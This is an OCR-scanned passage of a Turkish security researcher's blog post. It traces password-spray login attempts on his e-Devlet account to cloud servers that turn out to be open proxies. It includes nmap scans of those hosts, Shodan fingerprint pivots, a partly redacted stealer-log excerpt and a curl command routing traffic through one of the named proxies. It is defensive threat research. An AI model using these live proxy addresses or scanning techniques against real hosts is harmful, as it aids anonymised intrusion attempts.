. DIJITAL DONUSUM OFisi
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Art niyetli bir kisinin uzun ve karmasik olan parolami tahmin
etme ihtimalinin oldukc¢a zayif olmasi ve ayrica e-Devlet
Kapis'nda da iki agamali giris yontemini kullandigim igin bu
konu beni c¢ok fazla endiselendirmese de bir giivenlik
aragtirmacisi olarak hesabimin nasil kullanima kapatildigini

ogrenmeye karar verdim.

Meslek hayatima 2005 yilinda Etik Hacker, Sizma Testi Uzmani
olarak basladigim ve yillarca web uygulamalarina yonelik
givenlik testleri de gerceklestirdigim i¢in ilk is olarak e-Devlet
Kapis1 giris sayfasini, hesabimi hacklemeye calisan art niyetli
bir kisi goziiyle incelemeye basladim.

Art niyetli bir kisinin hesabima giris yapabilmesi icin 6ncelikle
TCKN bilgime sahip olmas: gerekiyordu. Cigek¢iden kargocuya
kadar yillar icinde herkese vermek zorunda kaldigimiz ve e-

Devlet Hacklendi mi? yazimdan da anlagilacag: iizere bir¢ok

bilgimizin yeralt1 dilnyasinda elden ele gezdigini gordigiimiiz
icin TCKN bilgimi nereden, nasil bulduklar1 iizerine pek kafa
yormama pek gerek kalmadi.

Peki TCKN bilgime sahip olan art niyetli bir kisi deneme

yanilma / kaba kuvvet saldirisi (brute force) gerceklestirerek

er ya da ge¢ parolami tespit edip, iki asamali giris asamasina
gelebilir miydi? Bu saldir1 teknigini engellemeye y6nelik olarak
e-Devlet Kapisinda CAPTCHA veya IP adresi engelleme gibi
bir dizi giivenlik 6nlemi yok muydu? sorularma yanit bulmak
icin o6ncelikle hatali parolalar ile e-Devlet hesabima giris
yapmaya ¢alistim. Iki hatali giris denemesinden sonra giivenli
bir web wuygulamasinda olmasi gerektigi gibi karsima
CAPTCHA kontroli ¢ikt1 ve hesabim kullanima kapatilmadi.
O halde saldirgan hesabimi nasil gecici siireligine kullanima
kapatmay1 basarmigti?


https://tr.wikipedia.org/wiki/Beyaz_%C5%9Fapkal%C4%B1_hacker
https://www.mertsarica.com/e-devlet-hacklendi-mi/
https://www.mertsarica.com/e-devlet-hacklendi-mi/
https://tr.wikipedia.org/wiki/Kaba_kuvvet_sald%C4%B1r%C4%B1s%C4%B1
https://support.google.com/a/answer/1217728?hl=tr
https://tr.wikipedia.org/wiki/IP_adresi
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@ giris.turkiye.gov.r/Giris/gi

e-Devlet Kapisi
KIMLIK DOGRULAMA SISTEMI s i
e-Devlet Sifresi Mobil imza Elektronik imza T.C. Kimlik Karti internet Bankaciligi

T.C. Kimlik Numaranizi ve e-Devlet Sifrenizi kullanarak kimliginiz dogrulandiktan sonra isleminize
kaldiginiz yerden devam edebilirsiniz. e-Devlet Sifresi Nedir, Nasil Alinir?

Kimlik no veya sifre hatalidir. e-Devlet Kapisi profilinizde cep telefonunuz veya cep telefonu ile

birlite e-posta adresiniz kayiti ise (profilde tanimii olan giivenlik ayarlarina gore) sifrenizi

unuttugunuzda PTTye giderek yeni sifre zarfi almak zorunda degjsiniz. Sifrenizi kendiniz kolay
(@) ve 2! bir sekilde yenileyebilrsiniz. Sifrenizi unuttugunuzda altia yer alan "Sifremi Unutium”

dugmesine basarak sifre yenileme islemi yapabilirsiniz.

Youtube sayfamizdan (https:/lyoutu.befl9I6j002peE) sifre yenileme ile igili Kamu spotumuzu

izleyebilirsiniz.

T.C. Kimlik No I

* e-Devlet Sifresi

* e-Devlet sifrenizi unutmaniz durumunda dogruladiginiz cep
telefonunuzdan yenileme islemi yapabilirsiniz.

Giivenlik Kodu M_I 5

Liltfen resimde gordiginiiz karakterleri yaninda bulunan kutuya.

Resmi okuyamiyorsaniz, (izerine tklayarak yeni bir tane
olusturabilirsiniz.

Sifremi Unuttum

CAPTCHA (Insan ve Bilgisayar Ayrimi Amacl Tam
Otomatik Genel Turing Testi), sorgulama-yanit
dogrulamasi olarak bilinen bir giivenlik 6nlemidir.
CAPTCHA spam ve sifre ¢ozme korumasi
saglanmasina yardimci olur. Bunun i¢in sizden basit
bir testi yanmitlamanizi isteyerek sifre korumali bir
hesaba girmeye calisan bir bilgisayar degil insan
oldugunuzu kanitlamanizi saglar. (Kaynak: Google)

Bu soruya yamt bulmak icin bu sefer VPN ile farkh IP
adreslerinden e-Devlet hesabima hatali giris denemeleri
yapmaya bagladigimda 5. denemede hesabimin bir saatligine
gecici olarak kullanima kapatildigini gérdiim. Bu da yine
giivenli bir web uygulamasinda olmasi gereken bir giivenlik

kontrolii olup, belki yiizlerce belki binlerce bot tizerinden hedef


https://support.google.com/a/answer/1217728?hl=tr
https://aws.amazon.com/tr/what-is/vpn/
https://tr.wikipedia.org/wiki/Bot_(robot)
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hesaba yonelik gerceklestirilecek kaba kuvvet saldiris1 (brute
force) ile parolanin tespit edilmesinin (password guessing)
Oniine geciyordu.

Hedef Kim?

Son aylarda WhatsApp Dolandiricilar1 ve Kripto Para
Dolandiricilar1 yazilarim ile dolandiricilarin tekerine ¢omak
soktugum icin bu siber saldirida art niyetli kisi veya kisiler
direkt benim hesabimi mi1 hedef almislard1 yoksa genis capl
kullanic1 kitlesine yonelik olarak gercgeklestirdikleri parola
spreyi saldirisinda tesadiifen benim hesabima mi denk
gelmiglerdi bu defa da bu soruya yanmit aramak igin ige
koyuldum.

Parola spreyi saldirilarinda kotii amach kisiler, en
yaygin kullanilan parolalar1 bircok farkli hesap ve
hizmette deneyerek bulabildikleri tiim parola
korumali varliklara erisim elde etmeye calisir. Bu
saldirilar cogu zaman birgok farkli kurumu ve kimlik
saglayicisini kapsar. (Kaynak: Microsoft)


https://www.mertsarica.com/whatsapp-dolandiricilari/
https://www.mertsarica.com/kripto-para-dolandiricilari/
https://www.mertsarica.com/kripto-para-dolandiricilari/
https://www.microsoft.com/tr-tr/microsoft-365/blog/2018/03/05/azure-ad-and-adfs-best-practices-defending-against-password-spray-attacks/
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How Password Spraying Works

Password123 ——j « O + — JohnWick@987 —6
Password123 = * O * F— wiltsmith@123 —@

Smith
Target
,4
Attacker Password123 —— « * « « |— @BettySwift321 —@ =7 Authentication
Betty Iﬁ System

. O « |—TeslainSpace@123 —@

Elon Musk

Password123 —— O

Password123

Password123 \/

m
-
3

2

|

Gorsel: Arkose Labs

Bu soruya yanit bulmak i¢in benim gibi e-Devlet hesab1 gecici
siireligine kapatilan bagka kigiler var m1 diye Google arama

motorunda arama yaptifimda aslinda 2020 yilindan beri ¢ok

3 o 1989, Daha Fazi . >
0oy ‘cﬂ., W0 i O 1880 s DaaTEz | foimo vera @ive S Konudaki Resimier [{ Konuya O
~0ne cikara o/ off eoevier soyn: €3
airlg Mesaj
Rosecity 316 xm 2020 200027 (Ko 5o orm
Vi
Jrea
\aba bugn gelen mal e E-Deviet hesabima birgok kez basarisz girl yapimaya Galisidi uyarii ads
paylasiyorum. Saninm basanii giris yapamamislar(Umanim dyledir). .
Bizde Kal=asin
% .
203 esa
© TakipD
 Konu Sanbine Gze - s - @SosgalDiglbal
— [f======5]
) sosyalEvin

o6
0,19
12165
EDIT: Twitter'da yaptidim aramada bircok Kisiye benzer p'lerden VPN ile saldi olmus. x
< B mesa) bu ks tarafindan defistirlcl RoseCity - 16 EKim 2020; 20:27:14 > Amazon Fresh Grocery Store g8y
Amazon Fresh

4


https://www.linkedin.com/pulse/credential-stuffing-vs-password-spraying-arkoselabs/
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IP adresi lizerinden adres bulunur mu?

& aynadakiadam - © 21 Subat 2022 - <3 10- @ 1B

12 Sonraki» v
21 Subat 2022 < #

Merhaba, az 5nce "e-Devlet Kapist hesabiniza (st iiste birden fazla defa yanls sifre ile giris yapiimaya
caligiimistir” diye mail geldi. Gegmisten girmeye alisan kisilerin IP adresleri ok garip.

aynadakiadam 2a0c:8dc6ieb1:2926:9560:33fc:238d:XXXCXXXX Sifre
LIS 21/02/2022 16:05:49 - Basarisiz 2a0c:8dc6:eb1:7bf7:223:66a4:6dab:21
Katilim: 12 Eylil 2021
Mesajlar 251 21/02/2022 16:0455 - Basansiz 2a0c:8dc6ieb1:b37e:9962:c196:e63b:7
Daha fazla v
21/02/2022 16:04:20 - Basansiz 2a0c:8dc6ieb1:e706:8823:b282:5ce9:2
21/02/2022 16:03:24 - Basansiz 2a0c8dc6ieb1:529a:5¢20:b1a5:9adk 1ci

Bu IP adresinden onlari bulabilir miyim?

& Cevapla @ Etiketle

Bu ekran goriintillerindeki IP adreslerinin kaynagini
aragtirdigimda bunlardan bazilarimin, kullanicilarina anonim
iletisim imkani sagladigi icin siber suclularin da siklikla

kullandig: Tor isimli bir agdan gerceklestirildigini 6grendim.

171.25.193.78 - Tor Exit Node
185.220.100.252 - Tor Exit Node
185.220.101.46 — Tor Exit Node
77.68.20.217 — Tor Exit Node
104.244.73.193 - Tor Exit Node

Bu durumun vyillar iginde ¢ok sayida kisinin bagina
gelmesinden dolay1 kuvvetle muhtemel bunun bana yoénelik,


https://tr.wikipedia.org/wiki/Tor_(anonim_a%C4%9F)
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hedeflenmis bir saldir1 olmayip parola spreyi saldirisinin bir
parcasi olduguna kanaat getirerek, hesabimin kilitlenmesinde
rol oynayan IP adresleri 6zelinde arastirmami genisletmeye
karar verdim.

Teknik Arastirma

IP Adresi Tespiti

e-Devlet hesabim kullanima geri acildiktan hemen sonra
hesabima giris yapip Kullanim Gec¢misi sayfasini incelemeye

basladigimda, basarisiz giris denemelerinin IPv4 yerine IPv6
adresleri tizerinden yapildig1 hemen dikkatimi ¢ekti.

Sifre Durumunuz

Son Degisiklik Tarihi [ —
Sonraki Degisiklik Tarihi u .

Son Basarisiz Giris Denemesi  Sifre 25/10/2023 18:46:22 (IP:2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067)

Sisteme Giris Gegmisiniz

Tarih Uygulama Sonug IP Adresi Tar
25/10/2023 20:18:01 - Basarili | N | Sifre
25/10/2023 18:46:22 - Basarisiz 2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067 Sifre
25/10/2023 18:46:18 - Basarisiz 2001:19f0:6801:8dd:daab:291b:a4d6:dfc7:41456 Sifre
25/10/2023 18:46:16 - Basarisiz 2001:19f0:8001:e5d:8404:4a87:e3cf:58ch:59377 Sifre
25/10/2023 18:46:10 - Basarisiz 2600:3¢03:2000:b44:ec11:517f:1d99:7cbc:37865 Sifre
25/10/2023 18:44:18 - Basarisiz 2001:19f0:8001:13a:f42d:4d56:deb9:c465:44215 Sifre
12/10/2023 19:48:33 - Basarisiz 2600:3c06:001:7ab:c6a6:9c89:949f:96f9:48360 Sifre

IP Sahiplik Bilgileri

IPinfo Uzerinden IPv6 adreslerinin WHOIS bilgilerine

baktigimda tamaminin Vultr ve Linode isimli bulut servis

saglayicilarina ait oldugunu gérdim.

2001:19f0:6001:20f:9a7f:d317:¢645:37eb — Vultr
2001:19f0:6801:8dd:daab:291b:ad4d6:dfc7 — Vultr


https://www.turkiye.gov.tr/kullanim-gecmisi
https://tr.wikipedia.org/wiki/IPv4
https://tr.wikipedia.org/wiki/IPv6
https://ipinfo.io/
https://www.vultr.com/
https://www.linode.com/
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2001:19f0:8001:e5d:8404:4a87:e3cf:58cb — Vultr
2600:3¢03:e000:b44:ec11:517£:1d99:7cbc — Linode
2001:19f0:8001:13a:f42d:4d56:deb9:c465 — Vultr
2600:3c06:€001:7ab:c6a6:9¢89:949f:96f9 — Linode

Baglanti Noktalari

Bu IPv6 adreslerinin en bilinen acik baglanti noktalarini (port)
nmap araci ile taradigimda sadece SSH servisine ait 22. baglanti

noktalarinin agik oldugunu 6grendim.

root@l Il -~# nmap -iL hosts.txt -6 -sV

Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-25 14:12 EDT
Nmap scan report for 2001:19f0:6001:20f:9a7f:d317:c645:37eb
Host is up (0.067s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2001:19f0:6801:8dd:daab:291b:a4d6:dfc7
Host is up (0.081s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2001:19f0:8001:e5d:8404:4a87:e3cf:58ch
Host is up (0.060s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2600:3c03:e000:b44:ec11:517f:1d99:7cbc
Host is up (0.00019s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2001:19f0:8001:13a:f42d:4d56:deb9: c465
Host is up (0.060s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.0 (protocol 2.0)

IPv6’dan IPv4’e Yolculuk

IPv6 adreslerine ait sunucularla ilgili daha fazla bilgi toplamak


https://nmap.org/
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icin yine nmap araci ile (nmap -iL hosts.txt -6 -sV —script
ssh-hostkey.nse -—script-args ssh_hostkey=all) SSH
servislerinin parmak izlerini (ssh fingerprint) Shodan arama
motorunda arattigimda, bu sunucularin IPv4 adreslerini
kolaylikla bulabildim.

2001:19f0:6001:20f:9a7f:d317:c645:37eb
ssh-hostkey: b9:cb:48:39:52:d9:£2:83:d8:ba:12:e9:9f:1d:55:21

2001:19f0:6801:8dd:daab:291b:a4d6:dfc7
ssh-hostkey: 41:4f:6f:b8:3e:96:c0:6e:28:d8:7e:£0:81:€9:10:99

2001:19f0:8001:e5d:8404:4a87:e3cf:58ch
ssh-hostkey: 20:¢1:8b:f9:06:9a:bc:€0:89:73:02:07:b3:71:b0:0b

2600:3¢03:e000:b44:ec11:517f:1d99:7cbc
ssh-hostkey: 1b:c3:d3:43:b5:b1:92:09:24:18:d3:d8:14:3f:34:fb

2001:19f0:8001:13a:f42d:4d56:deb9:c465
ssh-hostkey: 5d:2b:6d:11:¢9:f5:e2:8f:99:bc:2a:30:19:63:90:3c

<« C O @ shodan 8%3Aba%3A12%3Ae9%3A9%3A1d%.. @ B *

'. SHODAN Explore  Pricing &

66.42.105.202 — b9:cb:48:39:52:d9:£2:83:d8:ba:12:€9:91:1d:55:21

45.32.148.233 — 41:41:61:b8:3€:96:¢0:6€:28:d8:7¢:£0:81:€9:10:99
137.220.33.75 — 20:c1:8b:19:06:9a:bc:e0:89:73:02:07:b3:71:b0:0b
143.42.185.244 — 1b:c3:d3:43:b5:b1:9a:09:24:18:d3:d8:14:31:34:fb



https://www.shodan.io/search?query=b9%3Acb%3A48%3A39%3A52%3Ad9%3Af2%3A83%3Ad8%3Aba%3A12%3Ae9%3A9f%3A1d%3A55%3A21
https://www.shodan.io/search?query=41%3A4f%3A6f%3Ab8%3A3e%3A96%3Ac0%3A6e%3A28%3Ad8%3A7e%3Af0%3A81%3Ae9%3A10%3A99
https://www.shodan.io/search?query=20%3Ac1%3A8b%3Af9%3A06%3A9a%3Abc%3Ae0%3A89%3A73%3A02%3A07%3Ab3%3A71%3Ab0%3A0b
https://www.shodan.io/search?query=1b%3Ac3%3Ad3%3A43%3Ab5%3Ab1%3A9a%3A09%3A24%3A18%3Ad3%3Ad8%3A14%3A3f%3A34%3Afb
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104.207.158.196 -
5d:2b:6d:11:¢9:f5:2:8f:99:bc:2a:30:19:63:90:3¢

Tehdit Arastirmasi

Elde ettigim bu IPv4 ve IPv6 adreslerini tehdit arastirmalarinda
siklikla kullanilan bagta VirusTotal, SOCRadar XTI, AlienVault
OTX olmak iizere cesitli platformlarda arattigimda bunlardan

sadece SOCRadar XTI iizerinde bir sonuca ulasabildim.

Buradaki sonuca gore, saldirgan tarafindan kullanilan
45.32.148.233 IP adresine sahip sunucuya ait erigim
bilgilerinin yer aldig1 bir son kullanici sistemi, 2023 yilinin
Mayis aymda hacklenmis ve tzerinde Racoon isimli bilgi
calmakta kullanilan bir zararli yazilim ¢aligmisgtt. 2022 yilinda
ise yine bu IP adresinin yer aldig1 bagka bir son kullanici
sistemi benzer gekilde RedLine isimli bilgi calan bagka bir
zararli yazilim tarafindan enfekte olmustu. Tim calinan bu
bilgiler de daha sonrasinda Rus yeralt1 marketinde (Russian
Market) satisa ¢ikmust.

= co &

SOCRadar Dark Web ekibi tarafindan temin edilen dosyalarin

icerigine baktigimda, sunucu {izerinde bir zamanlar


https://www.shodan.io/search?query=5d%3A2b%3A6d%3A11%3Ac9%3Af5%3Ae2%3A8f%3A99%3Abc%3A2a%3A30%3A19%3A63%3A90%3A3c
https://www.virustotal.com/
https://socradar.io/extended-threat-intelligence/
https://otx.alienvault.com/
https://otx.alienvault.com/
https://socradar.io/raccoon-stealer-resurfaces-with-new-enhancements/
https://blog.f-secure.com/what-are-infostealers/
https://blog.f-secure.com/what-are-infostealers/
https://socradar.io/what-is-redline-stealer-and-what-can-you-do-about-it/
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phpMyAdmin isimli veritabani yonetim aract bulundugu
anlasiliyordu. Bu bilgiler 1s18inda art niyetli kisiler uzun
zamandan beri bu sunucuya yetkisiz olarak erisim sagliyor ve
saldirilarinda kullaniyor olabilirlerdi.

LOGID-4704366

Name Date d size Kind

Autofills g 3:14 -~ Folder
Cookies z , 03:1 - Folder
R DomainDetects.txt Aug 4 Plain Text
R ImportantAutofills.txt 4 y: 1KB Plain Text

R InstalledBrowsers.txt g 202 4 962 bytes Plain Text

B InstalledSoftware.txt 2 i 3KB Plain Text

B Passwords.txt g 2KB Plain Text

Screenshot.jpg gus 1 JPEG image
> [ Steam A Folder

R Userinformation.txt gust 23, 2022, 4 Plain Text

@ B Passwords.txt
ForokstokoRk ok ok KoK kKoK koK kKoK ok Kok ok Rk kKR Kk ok ok Kok ok Kok

Telegram: https://t.me/
SRR KA RAAAKAKAAAKA AR AAAAAAKAAAK

*
*
*
*
*
*
*
*
*:

URL: https://hebergtonserv.fr/password/reset/change
Username: B [

Password

Appli g ra Software_Unknown

URL: http://45.32.148.233/phpmyadmin/index.php
Username:

Password:

Application: Microsoft_[Edge]_Default

Yeni Baglanti Noktalari

Censys isimli arama motorunda IPv4 adreslerini inceleyip, her
birinin baglant1 noktalarini yine nmap araci ile taradigimda
bu defa IPv6 taramalarindan farkli olarak her bir sunucuda
22. baglant1 noktas1 hari¢ 2000°e yakin yeni baglanti noktasi
oldugunu kegfettim.


https://www.phpmyadmin.net/
https://search.censys.io/
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cC o

censys

Q Hosts v

o

104.207.158.196

104.207.158.196

As of: Nov 12, 2023 1:33am UTC | Latest

J summary "D History

Basic Information
Reverse DNS
Routing
0s

Services (75)

-

Labels

o]

search.censys.

censys

@ wHoIs

104.207.158.196.vultrusercontent.com
104.207.156.0/22 via AS-CHOOPA, US (AS20473)
linux

22/SSH, 30005/HTTP, 30024/HTTP, 30025/HTTP, 30046/HTTP, 30120/HTTP, 30139/HTTP,
30153/HTTPR, 30159/HTTPR, 30216/HTTPR, 30227/HTTP, 30235/HTTP, 30266/HTTP,
30322/HTTP, 30333/HTTP, 30362/HTTPR, 30384/HTTP, 30386/HTTP, 30430/HTTPR,
30481/HTTP, 30487/HTTPR, 30574/HTTPR, 30591/HTTP, 30594/HTTP, 30596/HTTP,
30614/HTTPR, 30650/HTTPR, 30673/HTTPR, 30720/HTTP, 30752/HTTP, ...

TRUNCATED

Q Hosts v & | 143.42.185244

143.42.185.244

As of: Nov 11, 2023 10:57pm UTC | Latest

2 Summary

Basic Information
Reverse DNS
Forward DNS
Routing
os

Services (125)

—

Labels

‘D History

@ wHoIS # Explore

143-42-185-244.ip.linodeusercontent.com
143-42-185-244.ip.linodeusercontent.com, 143-42-185-244.ipv4.staticdns1.io
143.42.176.0/20 via AKAMAI-LINODE-AP Akamai Connected Cloud, SG (AS63949)
linux

22/SSH, 10000/HTTPR, 10001/HTTPR, 10006/HTTF, 10049/HTTPF, 10055/HTTP, 10060/HTTP,
10068/HTTP, 10081/HTTP, 10144/HTTPR, 10148/HTTP, 10193/HTTR, 10197/HTTR,
10220/HTTP, 10229/HTTP, 10238/HTTR, 10251/HTTP, 10252/HTTPR, 10254/HTTPR,
10258/HTTP, 10275/HTTP, 10285/HTTR, 10319/HTTP, 10328/HTTP, 10368/HTTP,
10382/HTTP, 10405/HTTP, 10408/HTTPR, 10442/HTTP, 10443/HTTF, ...

TRUNCATED )



0O search.censys.

censys
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Q Hosts v | # | 137.220.33.7§

137.220.33.75

As of: Nov 11, 2023 5:32pm UTC | Latest

CJ Summary O History [ WHOIS {4 Explore

Basic Information
Reverse DNS
Routing
0s

Services (154)

—

Labels

[a) search.censy:

censys

137.220.33.75.vultrusercontent.com
137.220.32.0/20 via AS-CHOOPA, US (AS20473)
linux

22/SSH, 42005/HTTPR, 42011/HTTP, 42022/HTTP, 42034/HTTP, 42036/HTTP, 42040/HTTP,
42042/HTTP, 42070/HTTP, 42116/HTTP, 42135/HTTP, 42136/HTTP, 42143/HTTR,
42167/HTTPR, 42172/HTTP, 42184/HTTPR, 42192/HTTP, 42218/HTTP, 42231/HTTP,
42256/HTTP, 42269/HTTP, 42299/HTTP, 42304/HTTP, 42307/HTTP, 42308/HTTP,
42309/HTTPR, 42311/HTTP, 42315/HTTP, 42381/HTTP, 42383/HTTP, ...

TRUNCATED

Q Hosts v & 45.32.148.233

45.32.148.233

As of: Nov 11, 2023 9:47pm UTC | Latest

J Summary D History @ WHOIS

Basic Information
Reverse DNS
Routing
0s

Services (154)

—

Labels

Explore

45.32.148.233.vultrusercontent.com

45.32.144.0/21 via AS-CHOOPA, US (AS20473)

linux

22/SSH, 22014/HTTP, 22016/HTTP, 22019/HTTP, 22029/HTTP, 22035/HTTP, 22038/HTTP,
22055/HTTP, 22082/HTTPR, 22107/HTTP, 22117/HTTP, 22122/HTTPR, 22123/HTTP,
22154/HTTP, 22160/HTTPR, 22164/HTTP, 22166/HTTP, 22168/HTTPR, 22172/HTTP,
22186/HTTP, 22187/HTTP, 22192/HTTR, 22210/HTTP, 22222/HTTP, 22224/HTTPR,
22225/HTTP, 22274/HTTP, 22277/HTTP, 22284/HTTP, 22288/HTTP, ..

TRUNCATED
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CcC 0 search.censys.io,
censys QHosts v | %+ | 66.42.105.202
As of: Nov 11, 2023 6:12pm UTC | Latest
(J Summary ' History [ WHOIS #i Explore
Basic Information
Reverse DNS 66.42.105.202.vultrusercontent.com
Routing 66.42.96.0/20 via AS-CHOOPA, US (AS20473)
0S linux
Services (105) 22/SSH, 14020/HTTP, 14022/HTTP, 14067/HTTPR, 14071/HTTP, 14079/HTTPR, 14127/HTTP,
14184/HTTPR, 14185/HTTP, 14218/HTTP, 14284/HTTPR, 14291/HTTP, 14302/HTTR,
14314/HTTP, 14318/HTTR, 14325/HTTPR, 14341/HTTP, 14351/HTTP, 14369/HTTR,
» 14385/HTTP, 14392/HTTR, 14397/HTTR, 14398/HTTP, 14401/HTTR, 14402/HTTR,
14407/HTTPR, 14417/HTTP, 14426/HTTPR, 14475/HTTP, 14484/HTTP, ...
Labels ( TRUNCATED
—
root@ Bl :-# cat nmap.txt
# Nmap 7.80 scan initiated Wed Oct 25 20:23:15 2023 as: nmap -sS -p 1-65535 -0G nmap.txt 45.32.148.233
Host: 45.32.148.233 (45.32.148.233.vultrusercontent.com) Status: Up
Host: 45.32.148.233 (45.32.148.233.vultrusercontent.com) Ports: 22/open/tcp//ssh///, 22000/open/tcp/

/snapenetio///, 22001/open/tcp//optocontrol///, 22002/open/tcp//optohost@@2///, 220@3/open/tcp//optohost@d3
///, 22004/open/tcp//optohost@@4///, 22005/open/tcp//optohost@d4///, 22006/open/tcp/////, 22007/open/tcp///
//, 22008/open/tcp/////, 220@9/open/tcp/////, 22010/open/tcp/////, 22011/open/tcp/////, 22012/open/tcp/////
, 22013/open/tcp/////, 22014/open/tcp/////, 22015/open/tcp/////, 22016/open/tcp/////, 22017/open/tcp/////
22018/open/tcp/////, 22019/open/tcp/////, 22020/open/tcp/////, 22021/open/tcp/////, 22022/0open/tcp//unknown
///, 22023/open/tcp/////, 22024/open/tcp/////, 22025/open/tcp/////, 22026/open/tcp/////, 22027/open/tcp////
/, 22028/open/tcp/////, 22029/open/tcp/////, 22030/open/tcp/////, 22031/open/tcp/////, 22032/open/tcp/////,
22033/open/tcp/////, 22034/open/tcp/////, 22035/open/tcp/////, 22036/open/tcp/////, 22037/open/tep/////, 2
2038/open/tcp/////, 22039/open/tcp/////, 22040/open/tcp/////, 22041/open/tcp/////, 22@42/open/tep/////, 220
43/open/tep/////, 22044/open/tcp/////, 22045/open/tep/////, 22046/open/tcp/////, 22047/open/tcp/////, 22048
/open/tcp/////, 22049/open/tcp/////, 22050/open/tcp/////, 22@051/open/tcp/////, 22052/open/tcp/////, 22053/0
pen/tcp/////, 22054/open/tcp/////, 22055/open/tcp/////, 22@56/open/tcp/////, 22057/open/tcp/////, 22@58/ope
n/tep/////, 22059/open/tcp/////, 22060/open/tcp/////, 22061/open/tcp/////, 22062/open/tep/////, 22063/open/
tcp//unknown///, 22064/open/tcp/////, 22065/open/tcp/////, 22066/open/tcp/////, 22067/open/tcp/////, 22068/
open/tcp/////, 22069/open/tcp/////, 2207@/open/tcp/////, 22071/open/tcp/////, 22072/open/tcp/////, 22073/op
en/tcp/////, 22074/open/tcp/////, 22075/open/tcp/////, 22076/open/tcp/////, 22077/open/tcp/////, 22078/open
/tep/////, 22079/open/tcp/////, 2208@/open/tcp/////, 22081/open/tcp/////, 22082/open/tcp/////, 22083/open/t
cp/////, 22084/open/tep/////, 22085/open/tcp/////, 22086/open/tcp/////, 22087/open/tcp/////, 22088/open/tcp
/////, 22089/open/tcp/////, 22090/open/tcp/////, 22@91/open/tep/////, 22092/open/tcp/////, 22@93/open/tcp//
///, 22094/open/tcp/////, 22@95/open/tcp/////, 22096/open/tcp/////, 22@97/open/tcp/////, 22098/open/tcp////
/, 22099/open/tcp/////, 22100/open/tcp//unknown///, 221@1/open/tcp/////, 22102/open/tcp/////, 221@3/open/tc
p/////, 221@4/open/tep/////, 221@5/open/tep/////, 221@6/open/tep/////, 22107/open/tcp/////, 22108/open/tcp/
////, 221@9/open/tep/////, 2211@/open/tcp/////, 22111/open/tep/////, 22112/open/tcp/////, 22113/open/tep///
//, 22114/open/tcp/////, 22115/open/tcp/////, 22116/open/tcp/////, 22117/open/tcp/////, 22118/open/tcp/////
, 22119/open/tcp/////, 2212@/open/tcp/////, 22121/open/tcp/////, 22122/open/tcp/////, 22123/open/tcp/////,
22124/open/tcp/////, 22125/open/tcp//dcap///, 22126/open/tcp/////, 22127/open/tcp/////, 22128/open/tcp//gsi
dcap///, 22129/open/tcp/////, 22130/open/tcp/////, 22131/open/tep/////, 22132/open/tep/////, 22133/open/tcp
/////, 22134/open/tcp/////, 22135/open/tcp/////, 22136/open/tep/////, 22137/open/tcp/////, 22138/open/tcp//

Bir sunucu iizerinde 2000’¢ yakin acik baglanti noktasinin
bulunmasi alisilagelmis bir yapilandirma bicimi olmadig i¢in

bu baglant:1 noktalarini kontrol etmeye karar verdim.

Bir sistem tzerinde bu kadar ¢ok agik baglanti noktasina
genelde vekil sunucuda (proxy) rastlandigi icin ilk olarak
bundan siiphelenmeye bagladim. Saldirgan tarafindan


https://tr.wikipedia.org/wiki/Vekil_sunucu
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kullanilan IPv4 adreslerinin bilgilerini Censys tiizerinde
incelemeye devam ettigimde, 45.32.148.233 IPv4 adresi ile
ilgili kayitlarda bir satir (Proxy-Connection: close) hemen
dikkatimi cekti ve aklimda yeni bir soru daha belirdi. Bunlar
2000’li yillarin basinda internette siklikla rastladigimiz acik

vekil sunucular gibi olabilirler miydi ?

Anonim bir acik proxy, sunucu istekleri proxy
sunucusundan  geliyor gibi goriindigi icin
kullanicilarin  IP adreslerini web sunucularindan
gizlemelerine yardimci olabileceginden, cevrimici
anonimlik ve gizlilik isteyenler i¢in yararldir.
Kimliklerini ortaya ¢ikarmay1 zorlagtirir ve boylece
web’e gbz atarken veya diger internet hizmetlerini
kullanirken algilanan giivenliklerinin korunmasina

yardimci olur. (Kaynak: Wikipedia)

Bu soruya yanit bulmak i¢in cURL aracina 45.32.148.233 IPv4
adresini, vekil sunucu olarak Censys’de yer alan rastgele bir
baglanti  noktasi (22939) ile  birlikte belirtip
https://ifconfig.me/all web sayfasina istekte bulundugumda,

bu wvekil sunucudan bu web sayfasmma istegin
2001:19f0:6801:8dd:4995:dc24:1643:54d5 IPv6 adresinden
gonderildigini gérdiim. Kisaca sorunun yanit1 “Evet” idi. Bunlar
actk vekil sunuculardi ve bunlar itizerinden hedef web
sayfalarma kendi IPv4 adresimi gizleyerek web isteginde
bulunabiliyordum.


https://search.censys.io/hosts/45.32.148.233
https://en.wikipedia.org/wiki/WinGate
https://tr.wikipedia.org/wiki/A%C3%A7%C4%B1k_vekil
https://tr.wikipedia.org/wiki/A%C3%A7%C4%B1k_vekil
https://tr.wikipedia.org/wiki/A%C3%A7%C4%B1k_vekil
https://tr.wikipedia.org/wiki/CURL
https://ifconfig.me/all
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% curl -L -x 45.32.148.233:22939 https://ifconfig.me/all
ip_addr: 2001:19f0:6801:8dd:4995:dc24:1643:54d5
remote_host: unavailable
user_agent: curl/8.1.2

port: 48392
EL[VEL[-H
referer:
connection:
keep_alive:
method: GET
encoding:

mime: */*
charset:

via: 1.1 google
forwarded: 2001:19f0:6801:8dd:4995:dc24:1643:54d5, 2600:1901:0:b2bd::,130.211.0.85

Ancak  yukardaki ekran  goruntisinde yer alan
2001:19f0:6801:8dd:4995:dc24:1643:54d5 IPv6  adresine
sahip vekil sunucu, benim e-Devlet hesabimin gecici siireligine
kapatilmasinda rol oynayanlardan biri
(2001:19f0:6801:8dd:daab:291b:a4d6:dfc7) degildi. Bu vekil
sunucu ile o IPv6 arasindaki iligkiyi tespit etmek icin bu defa
45.32.148.233 IPv4 adresinin agik 2000 baglanti noktasina
(port) baglanip https://ifconfig.me/ip web sayfasina istek

gbénderen basit bir betik (script) hazirladim.

#!/bin/sh

